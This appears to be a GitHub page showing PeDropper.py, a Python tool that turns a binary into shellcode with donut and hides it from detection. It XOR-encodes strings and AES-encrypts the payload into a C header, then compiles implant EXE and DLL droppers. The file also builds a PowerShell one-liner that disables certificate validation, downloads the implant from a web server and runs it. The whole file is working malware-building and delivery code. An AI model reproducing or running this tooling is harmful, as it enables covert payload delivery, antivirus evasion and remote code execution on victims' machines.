-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathPeDropper.py
239 lines (179 loc) · 8.94 KB
/
PeDropper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
import sys, getopt
from Crypto.Cipher import AES
import os
from os import urandom
import hashlib
import random
import string
import subprocess
from pathlib import Path
characters = string.ascii_letters + string.digits
password = ''.join(random.choice(characters) for i in range(16))
KEY_XOR = password.replace('"','-').replace('\'','-')
KEY_AES = urandom(16)
def pad(s):
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size).encode('ISO-8859-1')
def aesenc(plaintext, key):
k = hashlib.sha256(key).digest()
iv = 16 * b'\x00'
plaintext = pad(plaintext)
cipher = AES.new(k , AES.MODE_CBC, iv)
output = cipher.encrypt(plaintext)
return output
def xor(data, key):
key = str(key)
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
output_str += chr(ord(current) ^ ord(current_key))
return output_str
def printCiphertext(ciphertext):
return '{ (char)0x' + ', (char)0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' }'
def getHelpExploration():
helpMessage = 'PowershellWebDelivery generate a powershell one liner to download and execute a payload from a web server\n'
helpMessage += 'Usage: Dropper PowershellWebDelivery listenerDownload listenerBeacon\n'
return helpMessage
def generatePayloadsExploration(binary, binaryArgs, rawShellCode, url, aditionalArgs):
if url[-1:] == "/":
url = url[:-1]
droppersPath = []
shellcodesPath = []
dropperExePath, dropperDllPath = generatePayloads(binary, binaryArgs, rawShellCode)
droppersPath.append(dropperExePath)
droppersPath.append(dropperDllPath)
implantExeUrl = url + "/implant.exe"
implantDllUrl = url + "/implant.dll"
oneliner = "Generated:\n"
oneliner += implantExeUrl + "\n"
oneliner += implantDllUrl + "\n"
oneliner = "Possible cmd:\n"
oneliner += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; (New-Object Net.WebClient).DownloadFile('"
oneliner += implantExeUrl
oneliner += "',(Get-Location).Path+'\\test.exe'); Start-Process test.exe;\n"
oneliner += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; (New-Object Net.WebClient).DownloadFile('"
oneliner += implantDllUrl
oneliner += "',(Get-Location).Path+'\\test.dll');\n"
return droppersPath, shellcodesPath, oneliner
def generatePayloads(binary, binaryArgs, rawShellCode):
if binary:
print('binary ', binary)
print('binaryArgs ', binaryArgs)
print('')
if os.name == 'nt':
donutBinary = os.path.join(Path(__file__).parent, '.\\ressources\\donut.exe')
shellcodePath = os.path.join(Path(__file__).parent, '.\\bin\\dropper.bin')
args = (donutBinary, '-f', '1', '-m', 'go', '-p', binaryArgs, '-o', shellcodePath, binary)
else:
donutBinary = os.path.join(Path(__file__).parent, './ressources/donut')
shellcodePath = os.path.join(Path(__file__).parent, './bin/dropper.bin')
args = (donutBinary, '-f', '1', '-m', 'go', '-p', binaryArgs, '-o', shellcodePath, '-i' , binary)
popen = subprocess.Popen(args, stdout=subprocess.PIPE)
popen.wait()
output = popen.stdout.read()
print("[+] Generate shellcode of payload with donut")
print(output.decode("utf-8") )
shellcode = open(shellcodePath, "rb").read()
elif rawShellCode:
print('rawShellCode ', rawShellCode)
print('')
shellcode = open(rawShellCode, "rb").read()
if os.name == 'nt':
fileEncryptPath = os.path.join(Path(__file__).parent, '.\\bin\\cryptDef.h')
fileEncrypt = open(fileEncryptPath, 'w')
else:
fileEncryptPath = os.path.join(Path(__file__).parent, './bin/cryptDef.h')
fileEncrypt = open(fileEncryptPath, 'w')
fileClearPath = os.path.join(Path(__file__).parent, 'clearDef.h')
fileClear = open(fileClearPath, 'r')
Lines = fileClear.readlines()
AesBlock=False;
XorBlock=False;
# Strips the newline character
for line in Lines:
#print(line)
if(XorBlock):
words = line.split('"')
if(len(words)>=3):
if("XorKey" in words[0]):
words[1]= KEY_XOR
line ='"'.join(words)
else:
plaintext=words[1]
ciphertext = xor(plaintext, KEY_XOR)
words[1]= printCiphertext(ciphertext)
line =''.join(words)
if(AesBlock):
words = line.split('"')
if(len(words)>=3):
if("AesKey" in words[0]):
words[1]= printCiphertext(KEY_AES.decode('ISO-8859-1'))
line =''.join(words)
elif("payload" in words[0]):
plaintext = shellcode
ciphertext = aesenc(plaintext, KEY_AES)
words[1]= printCiphertext(ciphertext.decode('ISO-8859-1'))
line =''.join(words)
if(line == "// TO XOR\n"):
XorBlock=True;
AesBlock=False;
elif(line == "// TO AES\n"):
AesBlock=True;
XorBlock=False;
fileEncrypt.writelines(line)
fileEncrypt.close()
print("[+] Compile dropper with shellcode")
if os.name == 'nt':
compileScript = os.path.join(Path(__file__).parent, '.\\compile.bat')
args = compileScript.split()
else:
compileScript = os.path.join(Path(__file__).parent, './compile.sh')
args = compileScript.split()
popen = subprocess.Popen(args, stdout=subprocess.PIPE, cwd=Path(__file__).parent)
popen.wait()
output = popen.stdout.read()
print(output.decode("utf-8") )
if os.name == 'nt':
dropperExePath = os.path.join(Path(__file__).parent, 'bin\\implant.exe')
dropperDllPath = os.path.join(Path(__file__).parent, 'bin\\implant.dll')
else:
dropperExePath = os.path.join(Path(__file__).parent, 'bin/implant.exe')
dropperDllPath = os.path.join(Path(__file__).parent, 'bin/implant.dll')
if not os.path.isfile(dropperExePath):
print("[+] Error: Dropper EXE file don't exist")
return "", ""
if not os.path.isfile(dropperDllPath):
print("[+] Error: Dropper DLL file don't exist")
return "", ""
print("[+] Done")
return dropperExePath, dropperDllPath
def main(argv):
if(len(argv)<2):
print ('On Windows:\nGenerateDropperBinary.py -b C:\\Windows\\System32\\calc.exe -a "some args"')
print ('On linux:\nGenerateDropperBinary.py -b ./calc.exe -a "some args"')
exit()
binary=""
binaryArgs=""
rawShellCode=""
opts, args = getopt.getopt(argv,"hb:a:r:",["binary=","args="])
for opt, arg in opts:
if opt == '-h':
print ('On Windows:\nGenerateDropperBinary.py -b C:\\Windows\\System32\\calc.exe -a "some args"')
print ('On linux:\nGenerateDropperBinary.py -b ./calc.exe -a "some args"')
sys.exit()
elif opt in ("-b", "--binary"):
binary = arg
elif opt in ("-a", "--args"):
binaryArgs = arg
elif opt == '-r':
rawShellCode = arg
print('[+] Generate dropper for params:')
print('binary ', binary)
print('binaryArgs ', binaryArgs)
print('')
dropperExePath, dropperDllPath = generatePayloads(binary, binaryArgs, rawShellCode)
print(dropperExePath)
print(dropperDllPath)
if __name__ == "__main__":
main(sys.argv[1:])